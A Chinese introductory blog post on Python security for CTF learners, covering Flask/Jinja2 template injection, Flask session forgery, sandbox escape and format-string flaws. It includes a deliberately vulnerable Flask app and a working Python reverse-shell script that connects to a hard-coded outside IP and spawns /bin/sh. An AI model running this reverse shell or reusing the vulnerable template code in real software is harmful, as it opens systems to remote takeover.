干货-python与安全(一)入门简介
此文章为原创连载文章,关注公众号,持续更新。
前言
我会开始写一些关于python的安全文章,都是自己学习时候的笔记。大部分的安全学习者的python语法功底都不是很好,我会在这里记录我的学习笔记供大家参考,希望可以帮助一些人更好的学习python。
flask/jinja2 SSTI
当攻击者将模板指令作为用户输入注入可以在服务器上执行任意代码的服务器端时,可以进行服务器端模板注入。如果您碰巧查看网页的源代码并查看下面的代码片段,那么可以安全地猜测该应用程序正在使用某些模板引擎来呈现数据。
from flask import Flask,request,render_template_string
app=Flask(__name__)
app.secret_key='ctf{flag_in_this}'
@app.route('/')
def index():
search=request.args.get('search') or None
template='''
<p>hello world</p>
{}
'''.format(search)
return render_template_string(template)
开发人员希望从名为get的请求get中回显,并渲染到基于烧瓶(flask)的函数render_template_string。
我们可以通过在参数搜索中添加{{7 * 7}}来指示可能的SSTI,我们可以看到模板引擎评估了数学表达式,并且应用程序响应49。
这个是python比较出名的安全问题。也是比较难搞的东西。
原理很简单,过程很难堪(构造payload的时候简直了......)。(又菜又想自己构造)
flask session
默认情况下,Flask会使用名为“signed cookies”的一种机制,这是在客户端(而非服务端)存储当前会话(session)数据的一种简单方式,使其(从理论上)无法被篡改。
Session数据分为会话数据,时间戳,加密哈希。
会话数据只是经过base64编码的字符串。我们使用itsdangerous的base64解码器对其进行解码,便可以得到和伪造。
时间戳可以告诉服务端数据最后一次更新的时间。
加密哈希就是让cookie变得“安全”的字段。服务器向我们发送最新的会话数据之前,会结合我们的会话数据、当前时间戳以及服务器的私钥来计算sha1哈希。
python沙盒逃逸
Python沙盒逃逸其实就是绕过限制用一些危险函数或终端来达到我们的目的。
思路和SSTI差不多,import或者各种姿势找到危险函数,个人构造。
比如os模块
import os
os.system('ls')
os.popen('ls')
关于其他的我会在以后的文章分享。
Python格式化字符串问题
这个很简单,主要是开发者代码不规范才导致的。比如%操作符 沿袭了C语言中printf语句的风格。
可能感觉问题不大,但是和其他漏洞结合起来危害就很大(嘿嘿...不要小看它)。
shell反弹
在这里我直接引用的P神的话。
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("59.188.234.64",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
原理很简单。新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。
PS:
Python中还有很多其他的安全问题。比如SQL注入,CSRF,文件包含,文件上传。这些我都会在后面提到。安全之路,任重而道远,我们要学习的还有很多。
最后:
上面我写的都是一些基础介绍,希望你可以简单了解。我在写每个学习笔记的时候会举例一些比赛中的题目,这样就可以自己跟着操作一下,实践和理论相结合才有助于我们的理解。大部分web安全入门都是先学php,python的很多漏洞和php的漏洞原理差不多,如果你学过php安全,那入门python安全就很好学习了。
希望我写的文章可以对你的进步有所帮助。如果有错误的地方还请指出来。
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 一个工作三年的同事,居然还搞不清深拷贝、浅拷贝...
- 太有意思了,教你实现实现王者荣耀团战!
- 动画:什么是基数排序?
- 一个有意思的分钱模拟问题
- 如何快速的开发一个完整的直播购物源码,基础篇
- 「拥抱开源」Nacos 实战篇
- 仅2M!免费软件又一次干掉了付费版
- python爬虫学习 爬取幽默笑话网站
- 如何用Python快速优雅的批量修改Word文档样式?
- 为什么MySQL不推荐使用uuid或者雪花id作为主键?
- 用Python打造一款文件搜索工具,所有功能自己定义!
- 用Python绘制诱人的桑基图,一眼看透熬夜和狗粮的秘密
- magento换域名和服务器要怎么操作
- 从零搭建SpringBoot+MyBatis+MySQL工程
- 从零搭建SpringBoot+MyBatis+MySQL